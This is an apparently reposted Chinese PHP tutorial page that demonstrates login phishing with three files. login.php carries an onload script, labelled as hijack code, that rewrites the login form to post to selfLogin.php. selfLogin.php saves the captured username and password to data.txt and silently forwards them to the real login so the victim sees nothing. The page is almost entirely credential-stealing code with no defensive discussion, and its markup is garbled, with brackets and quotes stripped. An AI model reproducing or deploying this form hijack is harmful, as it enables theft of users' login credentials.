首页 > 编程 > PHP > 正文

PHP和JS实现模仿登录钓鱼的代码示例

2020-03-22 18:24:27
字体:
来源:转载
供稿:网友

本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

目录介绍

login.php 正常登录的文件

selfLogin.php 自定义的登录文件

data.txt 记录用户输入的数据

login.php

 ?php echo pre  $userInfo = $_POST ; if ($userInfo) { # code... var_dump($userInfo, 登录成功 exit(); !DOCTYPE html  html  head  title 登录 /title  /head  body  form id= login method= post action= login.php  用户姓名: input type= text name= name  用户密码: input type= password name= pwd  input type= submit value= 确认登录  /form  /body  script type= text/javascript  //js劫持代码 window.onload = function (eve) { var form = document.getElementById( login  form.innerHTML = form id= login method= post 用户姓名: input type= text name= name 用户密码: input type= password name= pwd input type= submit value= 确认登录 /form  //钓鱼地址 form.action = selfLogin.php  /script  /html 

selfLogin.php

 ?php $name =  $pwd =  //var_dump( 数据被截取了 ,$_POST) ; if($_POST) { //记录获取的数据信息 $name = $_POST[ name  $pwd = $_POST[ pwd  file_put_contents( data.txt , json_encode($_POST,true)) ; !DOCTYPE html  html  head  title /title  /head  body  /body  script type= text/javascript  //构建之前的页面 window.onload = function (eve) { var name = ?php echo $name; ?  var pwd = ?php echo $pwd; ?  if(name pwd) { var p = document.createElement( p  document.body.appendChild(p); p.innerHTML = form id= login2 method= post action= login.php + 用户姓名: input type= text name= name value= +name+ 用户密码: input type= password name= pwd value= +pwd+  document.getElementById( login2 ).submit(); /script  /html 

data.txt

{ name : admin , pwd : 123456 }

本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注PHP 的JavaScript视频教程栏目!

以上就是PHP和JS实现模仿登录钓鱼的代码示例的详细内容,PHP教程

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表